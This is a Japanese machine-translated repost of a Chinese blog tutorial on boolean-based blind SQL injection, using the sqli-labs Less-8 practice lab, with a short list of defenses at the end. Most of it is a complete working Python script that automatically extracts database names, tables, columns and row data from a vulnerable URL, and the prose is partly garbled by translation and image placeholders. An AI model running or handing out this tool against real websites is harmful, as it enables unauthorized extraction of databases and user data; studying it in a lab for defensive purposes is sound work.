SQLブールブラインドインジェクションの脆弱性

原理

現在一般的に使用されているブラインドSQLインジェクションは、主に次の2つのカテゴリに分類されます。

  1. 基于布尔的盲注: ページにエコービットがなく、SQLステートメントのエラーメッセージが出力されない場合、ページ応答の正常または異常な状況を返すことによってインジェクションが実行されます。
  2. 基于时间的盲注: ページにエコービットがなく、SQLステートメントのエラーメッセージが出力されない場合、SQLステートメントの実行結果が正しいか間違っているかに関係なく同じページが返されると、ページの応答時間までインジェクションが実行されます。

短所:どちらのブラインドインジェクション方法もテストに多大な労力を必要とするため、侵入テストでは手動操作の代わりにツール(sqlmap)またはスクリプトが使用されることがよくあります。

以下では、操作とデモンストレーションにsqli-labs-Less8射撃場を使用します。注入が成功すると、「You are in…」と表示されますが、そうでない場合は表示されません。攻撃のデモンストレーションは、攻撃の原理を示しているだけです。自分でバイパスしてください~~~~

ブール値に基づくブラインドSQLインジェクション

データベースの長さを
ここに画像の説明を挿入します
取得するデータベース名を
ここに画像の説明を挿入します
取得するデータベーステーブル名の長さを
ここに画像の説明を挿入します
取得する
ここに画像の説明を挿入します
テーブル内のフィールドの数を
ここに画像の説明を挿入します
取得するデータベーステーブルの数を取得するデータベーステーブル名を
ここに画像の説明を挿入します
取得するフィールドの長さを取得する

ここに画像の説明を挿入します
テーブルのフィールドを取得しますフィールドデータ
ここに画像の説明を挿入します
の数を取得
ここに画像の説明を挿入します
しますフィールドデータの長さを
ここに画像の説明を挿入します
取得しますフィールドデータを取得します
ここに画像の説明を挿入します

コード表示

スクリプト情報の記述、モジュールのインポート、データベースデータを格納するための変数の定義、および要求を行うための要求オブジェクトの定義

#!/usr/bin/python3
# -*- coding: utf-8 -*-


import requests
import optparse

# 存放数据库名变量
DBName = ""
# 存放数据库表变量
DBTables = []
# 存放数据库字段变量
DBColumns = []
# 存放数据字典变量,键为字段名,值为字段数据列表
DBData = {
    
    }
# 若页面返回真,则会出现You are in...........
flag = "You are in..........."

# 设置重连次数以及将连接改为短连接
# 防止因为HTTP连接数过多导致的 Max retries exceeded with url
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False

自動注入のために各関数を呼び出すためのメイン関数を記述します

# 盲注主函数
def StartSqli(url):
    GetDBName(url)
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url, DBName)
    print("[+]数据库{0}的表如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1) + ")" + DBTables[item])
    tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
    GetDBColumns(url, DBName, DBTables[tableIndex])
    while True:
        print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):")) - 1
        if (columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

データベース名を取得し、取得したURLに従ってデータベース名を取得し、最終結果をDBNameに保存する関数を記述します。

# 获取数据库名函数
def GetDBName(url):
    # 引用全局变量DBName,用来存放网页当前使用的数据库名
    global DBName
    print("[-]开始获取数据库名长度")
    # 保存数据库名长度变量
    DBNameLen = 0
    # 用于检查数据库名长度的payload
    payload = "' and if(length(database())={0},1,0) %23"
    # 把URL和payload进行拼接得到最终的请求URL
    targetUrl = url + payload
    # 用for循环来遍历请求,得到数据库名长度
    for DBNameLen in range(1, 99):
        # 对payload中的参数进行赋值猜解
        res = conn.get(targetUrl.format(DBNameLen))
        # 判断flag是否在返回的页面中
        if flag in res.content.decode("utf-8"):
            print("[+]数据库名长度:" + str(DBNameLen))
            break
    print("[-]开始获取数据库名")
    payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23"
    targetUrl = url + payload
    # a表示substr()函数的截取起始位置
    for a in range(1, DBNameLen + 1):
        # b表示33~127位ASCII中可显示字符
        for b in range(33, 128):
            res = conn.get(targetUrl.format(a, b))
            if flag in res.content.decode("utf-8"):
                DBName += chr(b)
                print("[-]" + DBName)
                break

データテーブルを取得し、取得したURLとデータベース名に従ってデータベース内のテーブルを取得し、結果をリストの形式でDBTablesに保存する関数を記述します。

# 获取数据库表函数
def GetDBTables(url, dbname):
    global DBTables
    # 存放数据库表数量的变量
    DBTableCount = 0
    print("[-]开始获取{0}数据库表数量:".format(dbname))
    # 获取数据库表数量的payload
    payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23"
    targetUrl = url + payload
    # 开始遍历获取数据库表的数量
    for DBTableCount in range(1, 99):
        res = conn.get(targetUrl.format(dbname, DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[+]{0}数据库的表数量为:{1}".format(dbname, DBTableCount))
            break
    print("[-]开始获取{0}数据库的表".format(dbname))
    # 遍历表名时临时存放表名长度变量
    tableLen = 0
    # a表示当前正在获取表的索引
    for a in range(0, DBTableCount):
        print("[-]正在获取第{0}个表名".format(a + 1))
        # 先获取当前表名的长度
        for tableLen in range(1, 99):
            payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname, a, tableLen))
            if flag in res.content.decode("utf-8"):
                break
        # 开始获取表名
        # 临时存放当前表名的变量
        table = ""
        # b表示当前表名猜解的位置
        for b in range(1, tableLen + 1):
            payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23"
            targetUrl = url + payload
            # c表示33~127位ASCII中可显示字符
            for c in range(33, 128):
                res = conn.get(targetUrl.format(dbname, a, b, c))
                if flag in res.content.decode("utf-8"):
                    table += chr(c)
                    print(table)
                    break
        # 把获取到的名加入到DBTables
        DBTables.append(table)
        # 清空table,用来继续获取下一个表名
        table = ""

取得したURL、データベース名、データベーステーブルに従ってテーブルフィールドを取得し、テーブルフィールドを取得し、結果をリストの形式でDBColumnsに格納する関数を記述します。

# 获取数据库表的字段函数
def GetDBColumns(url, dbname, dbtable):
    global DBColumns
    # 存放字段数量的变量
    DBColumnCount = 0
    print("[-]开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(99):
        payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbname, dbtable, DBColumnCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}数据表的字段数为:{1}".format(dbtable, DBColumnCount))
            break
    # 开始获取字段的名称
    # 保存字段名的临时变量
    column = ""
    # a表示当前获取字段的索引
    for a in range(0, DBColumnCount):
        print("[-]正在获取第{0}个字段名".format(a + 1))
        # 先获取字段的长度
        for columnLen in range(99):
            payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname, dbtable, a, columnLen))
            if flag in res.content.decode("utf-8"):
                break
        # b表示当前字段名猜解的位置
        for b in range(1, columnLen + 1):
            payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
            targetUrl = url + payload
            # c表示33~127位ASCII中可显示字符
            for c in range(33, 128):
                res = conn.get(targetUrl.format(dbname, dbtable, a, b, c))
                if flag in res.content.decode("utf-8"):
                    column += chr(c)
                    print(column)
                    break
        # 把获取到的名加入到DBColumns
        DBColumns.append(column)
        # 清空column,用来继续获取下一个字段名
        column = ""

取得したURL、データベース名、データテーブルの各フィールドに基づいてデータを取得するデータ取得関数を記述します。データは辞書の形式で保存され、キーはフィールド名であり、値はフィールドデータによって形成されたリストです。

# 获取表数据函数
def GetDBData(url, dbtable, dbcolumn):
    global DBData
    # 先获取字段数据数量
    DBDataCount = 0
    print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
    for DBDataCount in range(99):
        payload = "'and if ((select count({0}) from {1})={2},1,0)  %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbcolumn, dbtable, DBDataCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
            break
    for a in range(0, DBDataCount):
        print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a + 1))
        # 先获取这个数据的长度
        dataLen = 0
        for dataLen in range(99):
            payload = "'and if ((select length({0}) from {1} limit {2},1)={3},1,0)  %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbcolumn, dbtable, a, dataLen))
            if flag in res.content.decode("utf-8"):
                print("[-]第{0}个数据长度为:{1}".format(a + 1, dataLen))
                break
        # 临时存放数据内容变量
        data = ""
        # 开始获取数据的具体内容
        # b表示当前数据内容猜解的位置
        for b in range(1, dataLen + 1):
            for c in range(33, 128):
                payload = "'and if (ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0)  %23"
                targetUrl = url + payload
                res = conn.get(targetUrl.format(dbcolumn, dbtable, a, b, c))
                if flag in res.content.decode("utf-8"):
                    data += chr(c)
                    print(data)
                    break
        # 放到以字段名为键,值为列表的字典中存放
        DBData.setdefault(dbcolumn, []).append(data)
        print(DBData)
        # 把data清空来,继续获取下一个数据
        data = ""

ターゲットのURLを取得してStartSqliに渡すためのmain関数を記述します

if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -u url \n\n'
                                   'Example: python %prog -u http://192.168.61.1/sql/Less-8/?id=1\n')
    # 目标URL参数-u
    parser.add_option('-u', '--url', dest='targetURL', default='http://127.0.0.1/sql/Less-8/?id=1', type='string',
                      help='target URL')
    (options, args) = parser.parse_args()
    StartSqli(options.targetURL)

ランニング効果を下図に示します。
ここに画像の説明を挿入します

ここに画像の説明を挿入します

防衛戦略

  1. 動的SQLをパラメーター化されたクエリに置き換える
  2. データベースのエラーメッセージを表示しないでください
  3. サーバーにWebアプリケーションファイアウォール(WAF)をインストールする
  4. データベースのアクセス許可を制限する
  5. 機密情報を暗号化してデータベースに保存します
  6. 古いバージョンのデータベースの既知の脆弱性を回避するために、必要に応じてデータベースのバージョンをアップグレードします

おすすめ

転載: blog.csdn.net/weixin_45007073/article/details/113843869